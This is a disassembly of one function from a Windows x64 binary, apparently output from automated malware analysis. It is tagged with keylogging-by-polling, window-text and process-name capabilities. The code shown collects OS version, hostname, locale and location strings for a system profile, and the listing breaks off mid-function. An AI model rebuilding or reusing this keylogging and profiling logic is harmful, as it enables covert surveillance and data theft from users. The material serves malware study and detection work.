Function at 0x140007f6f
Capabilities:
Get graphical window text
Get process image filename
Log keystrokes via polling

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2f8
mov rsi, rcx
lea rdi, [rsp + 0x110]
mov rcx, rdi
call fcn.1400ae9b2
mov al, byte [rdi + 0x69]
lea rcx, [rsp + 0x280]
mov byte [rcx], al
lea rdx, [rsp + 0x30]
mov qword [rdx], rdi
lea rax, [rsp + 0x50]
mov qword [rax], rcx
lea rcx, [0x1400ae6c0]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
lea rcx, [0x14000434a]
mov qword [rax + 0x18], rcx
lea rcx, str.OS:_type:__nVersion:
lea r14, [rsp + 0x88]
mov qword [r14], rcx
mov qword [r14 + 8], 3
mov qword [r14 + 0x20], 0
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], 2
lea rcx, [rsp + 0x2b0]
mov rdx, r14
call fcn.14003f640
mov rax, qword [rdi]
cmp rax, 2
jb 0x14000804c
cmp eax, 2
jne 0x14000802a
mov rax, qword [rsp + 0x118]
shl rax, 1
test rax, rax
je 0x14000804c
jmp 0x140008035
cmp qword [rsp + 0x118], 0
je 0x14000804c
mov r8, qword [rsp + 0x120]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
movabs r12, 0x8000000000000000
cmp rax, r12
je 0x14000807f
test rax, rax
je 0x14000807f
mov r8, qword [rsp + 0x138]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x148]
cmp rax, r12
je 0x1400080a8
test rax, rax
je 0x1400080a8
mov r8, qword [rsp + 0x150]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x160]
cmp rax, r12
je 0x1400080d1
test rax, rax
je 0x1400080d1
mov r8, qword [rsp + 0x168]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsi]
lea rdi, [rsp + 0x2b0]
mov rcx, rbx
mov rdx, rdi
call fcn.140007f16
lea r15, [rsp + 0x50]
mov rcx, r15
call fcn.1400697c8
mov rax, qword [r15]
cmp rax, r12
jne 0x140008171
lea rax, [0x14029a428]
mov qword [rsp + 0x30], rax
lea rax, [0x14019c40a]
mov qword [rsp + 0x38], rax
lea rax, str.Hostname:
lea rdx, [rsp + 0x110]
mov qword [rdx], rax
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
lea rax, [rsp + 0x30]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 1
lea r14, [rsp + 0x88]
mov rcx, r14
call fcn.14003f640
mov rcx, rbx
mov rdx, r14
call fcn.140007f16
lea rcx, [rsp + 0x58]
call fcn.1400747f0
jmp 0x14000821c
mov rcx, qword [rsp + 0x58]
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x280], r14
lea rax, [0x14017a5f0]
mov qword [rsp + 0x288], rax
lea rax, str.Hostname:
lea rdx, [rsp + 0x110]
mov qword [rdx], rax
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
lea rax, [rsp + 0x280]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 1
lea rcx, [rsp + 0x30]
call fcn.14003f640
cmp qword [rsp + 0x88], 0
je 0x14000820f
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsi]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140007f16
lea r15, [rsp + 0x50]
mov edx, 0x55
mov rcx, r15
call fcn.1401bbc73
mov r14, qword [r15 + 8]
mov rcx, r14
mov edx, 0x55
call sub.KERNEL32.dll_GetUserDefaultLocaleName
mov rdx, qword [r15 + 0x10]
test rdx, rdx
jne 0x14000824c
xor ecx, ecx
jmp 0x140008295
xor r8d, r8d
xor r9d, r9d
xor eax, eax
cmp word [r14 + rax*2], 0
sete r11b
test r9, r9
sete bpl
mov rcx, rax
mov r10, rax
test r11b, bpl
jne 0x140008276
mov rcx, r8
mov r10, r9
inc rax
mov r8, rcx
mov r9, r10
cmp rdx, rax
jne 0x140008254
cmp rdx, rcx
jae 0x140008295
lea r8, [0x1402406f8]
call fcn.140231d60
lea rax, [r14 + rcx*2]
lea rdx, [rsp + 0x88]
mov qword [rdx], r14
mov qword [rdx + 8], rax
mov word [rdx + 0x10], 0
xor r12d, r12d
lea r15, [rsp + 0x110]
mov qword [r15], r12
mov qword [r15 + 8], 1
mov qword [r15 + 0x10], r12
mov rcx, r15
call fcn.1401be3c8
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x2c0], rax
movups xmm0, xmmword [r15]
movaps xmmword [rsp + 0x2b0], xmm0
cmp qword [rsp + 0x50], r12
je 0x140008304
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsi]
mov qword [rsp + 0x50], rdi
lea rax, [0x140006a7e]
mov qword [rsp + 0x58], rax
lea rax, str.Location:
lea r12, [rsp + 0x110]
mov qword [r12], rax
mov qword [r12 + 8], 2
mov qword [r12 + 0x20], 0
lea rax, [rsp + 0x50]
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], 1
lea rdi, [rsp + 0x88]
mov rcx, rdi
mov rdx, r12
call fcn.14003f640
mov rcx, rbx
mov rdx, rdi
call fcn.140007f16
mov al, byte [0x140353270]
mov edi, 0xb
mov edx, 0xb
xor ecx, ecx
call fcn.140190370
test rax, rax
jne 0x140008396